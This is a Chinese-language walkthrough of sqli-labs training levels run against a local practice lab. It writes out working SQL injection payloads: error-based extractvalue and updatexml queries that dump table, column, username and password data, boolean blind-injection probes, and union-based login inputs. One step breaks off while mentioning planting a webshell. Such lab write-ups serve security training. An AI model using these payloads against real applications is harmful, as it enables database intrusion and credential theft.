目录
less6
进入靶场第关。加入参数id
字符串型,数字型都报错,尝试报错注入查询数据库
http://localhost/sqli-labs-php7-master/Less-6?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
查询数据库下表
http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))%20--+
查看users表下字段:
http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e))%20--+
查看字段下的所有数据
http://localhost/sqli-labs-php7-master/Less-6/?id=1%22%20%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(id,0x7e,username,0x7e,password)%20from%20users),0x7e))%20--+
less7
进入靶场第七关。加入参数id
判断闭合为 -存在'))闭合
使用联合查询 union select 将一句话木
Less8
使用 ')) 来闭合,但是它却没有报错
输入id为1,则会显示
针对这种的显示,无论是联合查询还是报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据,并且我们可以使用多种方法来注入: 手工注入和sqlmap工具
利用函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下
?id=1' and (select length(database())>1) and 1=1 --+ //true
?id=1' and (select length(database())>10) and 1=1 --+ //flase
?id=1' and (select length(database())>5) and 1=1 --+ //true
?id=1' and (select length(database())>6) and 1=1 --+ //true
?id=1' and (select length(database())>8) and 1=1 --+ //flase
最终可以得到数据库的名称的长度为7, 得到了数据库的长度后 我们就可以再利用ascii函数+substr函数来修改字符串的范围 最终判断数据库的各个字符的ascii的值 最终就可以得到完整的数据库名称 比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) --+ //true
?id=1' and ((select ascii(substr(database(),1,1)))>200) --+ //flase
Less11
输入1报错了存在注入
aaa' union select 1,2 #
aaa
输入的用户名和密码属于第1列和第2列
aaa' union select 1,database() #
aaa
Less13
我们尝试闭合一下 '),可以看到这里报错了,说明存在注入点
查询数据库名
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
查询数据库表名
admin') union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#